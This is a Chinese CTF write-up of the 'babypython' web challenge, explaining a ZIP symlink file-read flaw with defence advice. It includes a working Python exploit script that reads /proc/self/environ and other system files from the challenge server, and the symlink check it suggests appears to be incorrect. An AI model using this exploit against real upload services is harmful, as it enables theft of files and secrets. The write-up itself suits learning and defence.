当前位置: 首页 > news >正文

CTF Write-up: babypython 国赛总决赛

题目名称

babypython

题目类型

Web / File Upload

赛事来源

CISCN 2021 国赛总决赛(DASCTF复现)

题目环境

根据项目生成

解题日期

2026-06-09

1. 题目描述(Challenge Description)

题目给出一个Web页面,包含文件上传功能。页面提示 "I will tell you a secret, but you should become admin first." (我会告诉你一个秘密,但你需要先成为管理员)。页面只接受 ZIP 格式的文件上传,要求利用文件上传漏洞获取 Flag。

2. 信息收集与漏洞分析(Reconnaissance & Analysis)

2.1 初步探测

访问主页,观察到以下特征:

  • • 页面框架:Flask + uWSGI + Nginx(从响应头 Server: openresty 判断)
  • • Session Cookie:标准 Flask signed cookie(需要 SECRET_KEY 伪造)
  • • 文件上传:仅接受 .zip 扩展名文件

2.2 上传功能测试

上传一个普通的 ZIP 文件(内含 test.txt),服务器解压并回显文件内容。考虑到 ZIP 格式支持符号链接(Symbolic Link),如果后端没有安全处理 symlink,则可以通过 ZIP 内的符号链接读取服务器任意文件。

3. 漏洞利用(Exploitation)

3.1 ZIP 符号链接文件读取(核心漏洞)

利用 Python 的 zipfile 模块构造包含符号链接的 ZIP 文件:

import zipfile, io

def make_zip_with_symlink(target_path, link_name):
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
info = zipfile.ZipInfo(link_name)
info.create_system = 3 # 标记为 Unix 系统
info.external_attr = 0xA1ED0000 # 符号链接权限标记
z.writestr(info, target_path) # 链接目标
return buf.getvalue()

关键参数说明:create_system = 3 表示此文件在 Unix 系统上创建;external_attr = 0xA1ED0000 表示这是一个符号链接(symlink)。后端解压时如果未过滤符号链接,会跟随链接读取目标文件内容。

3.2 关键文件读取

通过上述 Payload 读取以下关键信息:

文件路径

读取到的关键信息

/etc/passwd

确认是 Linux 系统,存在 root/daemon 等标准账户

/app/y0u_found_it/secret.py

secret = os.getenv("FLAG") — 确认 Flag 存储于环境变量

/app/uwsgi.ini

module = main / callable = app — Flask 应用入口配置

/proc/self/environ

★★★ 直接暴露 FLAG 环境变量!

3.3 最终 EXP 脚本

import requests, zipfile, io, random, string

BASE = "http://c6e676cda79b23935b939fc7.http-ctf2.dasctf.com"

def make_zip_with_symlink(target):
linkname = ''.join(random.choices(string.ascii_lowercase, k=10))
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
info = zipfile.ZipInfo(linkname)
info.create_system = 3
info.external_attr = 0xA1ED0000
z.writestr(info, target)
return buf.getvalue()

def read_file(target):
s = requests.Session()
s.get(BASE + "/")
zipdata = make_zip_with_symlink(target)
fname = ''.join(random.choices(string.ascii_lowercase, k=8)) + '.zip'
files = {'the_file': (fname, zipdata, 'application/zip')}
r = s.post(BASE + "/upload", files=files, data={'submit': 'Submit'})
return r.text

# ★ 读取进程环境变量获取 FLAG
environ = read_file("/proc/self/environ")
for kv in environ.split('\x00'):
if kv.startswith('FLAG='):
print("[+] FLAG FOUND:", kv[5:])
break

4. Flag

DASCTF{10a6cf72-f22b-4f10-bcde-255c38a5c402}

5. 漏洞根因分析(Vulnerability Root Cause)

题目应用的文件上传/解压流程中,未对 ZIP 压缩包内的符号链接条目进行校验与过滤。典型缺陷代码如下(示意):

# 缺陷代码(示意)
with zipfile.ZipFile(uploaded_file, 'r') as z:
for name in z.namelist():
content = z.read(name) # ⚠️ 如果 name 是符号链接,此处会解析目标文件
print(content) # 直接输出目标文件内容

修复方案:解压前需校验每个 ZIP 条目是否为符号链接,并拒绝之;同时限制解压路径不得超出工作目录。

6. 解题流程总结(Solution Summary)

Step 1 —上传普通 ZIP 确认功能正常,观察回显为文件内容。
Step 2 —构造包含指向 /etc/passwd 符号链接的 ZIP,确认存在任意文件读取。
Step 3 —读取 /app/y0u_found_it/secret.py,发现 secret = os.getenv("FLAG"),定位 Flag 来源。
Step 4 —读取 /proc/self/environ(或 /proc/1/environ),在环境变量中直接获得 FLAG。
Step 5 —验证 Flag 格式为 DASCTF{...},提交成功。

7. 经验总结与防御建议(Lessons Learned & Defense)

7.1 CTF 做题技巧

  • • ZIP 上传永远优先测试符号链接(symlink)与路径穿越(zip slip)
  • • Linux 系统下 /proc/self/environ 是获取环境变量的首选路径
  • • Flask 的 SECRET_KEY 如由 random.seed(MAC) 生成,可通过读取网卡 MAC 反推密钥
  • • 同类题目参考:HCTF 2018 Hide and seek、CISCN 2019 Web4

7.2 开发侧防御

  • • 解压 ZIP 时必须校验 ZipInfo 是否为符号链接(external_attr & 0xFF00)
  • • 严格限制解压后文件所在目录(chroot 或绝对路径校验)
  • • 敏感信息(如 Flag、密钥)不要以环境变量或明文形式存放在应用进程可访问位置
  • • Flask SECRET_KEY 应使用 secrets.token_hex(32) 等密码学安全函数生成

8. 参考资料(References)

  • [1] HCTF 2018 Hide and seek Write-up(ZIP symlink 经典题)
  • [2] CISCN 2021 总决赛 babypython 官方 Write-up
  • [3] Python zipfile 文档 — ZipInfo / external_attr 字段说明
  • [4] proc(5) man page — /proc/[pid]/environ 环境变量文件
http://www.jsqmd.com/news/986198/

相关文章:

  • 2026浙江别墅花园设计施工服务商专业甄选指南 主流企业实力深度解析 - 玖叁鹿
  • 防火墙让流量从A到B,需要三样东西同时到位(系列第1篇)
  • 视觉检测行业工控机选型指南:核心要素与避坑策略
  • 为什么很多 AI 写出来的代码,更容易收到苹果 4.3 拒绝?
  • 2026吕梁防水补漏哪家靠谱?正规公司排名及避坑价格指南 - 苏易修缮
  • 2026杭州高奢首饰回收实测排行|卡地亚/梵克雅宝/宝格丽变现指南,正规门店不踩坑 - 薛定谔的梨花猫
  • 2026年盐城广告牌制作公司排行:宏诚标识本土实力商家 - 奔跑123
  • 2026电商网站建设公司推荐,老手教你三招挑对盘子 - FaiscoJeff
  • 第12章:模型评估与错误分析
  • 2026年聚合物界面砂浆厂家推荐:重庆百耀建材有限公司,聚合物水泥砂浆/聚合物粘结砂浆/聚合物修补砂浆/高强聚合物砂浆企业精选 - 品牌推荐官
  • 架构师的能力——不是画图是知道每段改动对全局的连锁反应
  • CentOS 7 安装 Docker 完整教程(含 docker-compose 插件)
  • 云尖信息与雷神科技达成战略合作,携手共筑国产算力新生态
  • MATLAB语音特征提取实操包:MFCC全流程代码+参数可调实验报告
  • 电阻对焊机常见问题解答(2026最新专家版) - 速递信息
  • 服装AI质检项目全流程---从需求对接到模型落地的技术实践
  • 海康车辆控制请求流程说明 - sessionLogin形式
  • 怎么在微信上制作投票?3分钟搞定|2026免费防刷投票小程序推荐 制作教程 - 微信投票小程序
  • DELL IDRAC CLI命令查RAID与硬盘信息
  • 100亿美元成AI独角兽入场价,Anthropic、OpenAI冲刺万亿IPO!
  • 2026年中频点焊机深度测评:如何为高端制造匹配最佳方案? - 速递信息
  • 2026年热压魔术贴:杰幻电子源头厂家解决高端制造痛点 - 热点速览
  • 苹果 WWDC 2026 发布 macOS 27 “金门” 系统,开发者测试版现已可下载!
  • 工业雷达物位计:高精度免维护的水位监测方案 - 仪表人老张
  • 软考论文批改服务怎么选?模板与精批的核心区别
  • 计算机毕业设计之django基于Python的书店ERP系统的设计与实现
  • 面试官最爱问的“设计推特”,真的是考你会不会写代码吗?
  • 2026黑河防水补漏哪家靠谱?正规公司排名及避坑价格指南 - 苏易修缮
  • macOS 27“金门”秋季推出:Siri 升级、界面优化,英特尔 Mac 停止支持!
  • 庭院大门选型方案:铝艺大门的五大设计模式与六大性能优势分析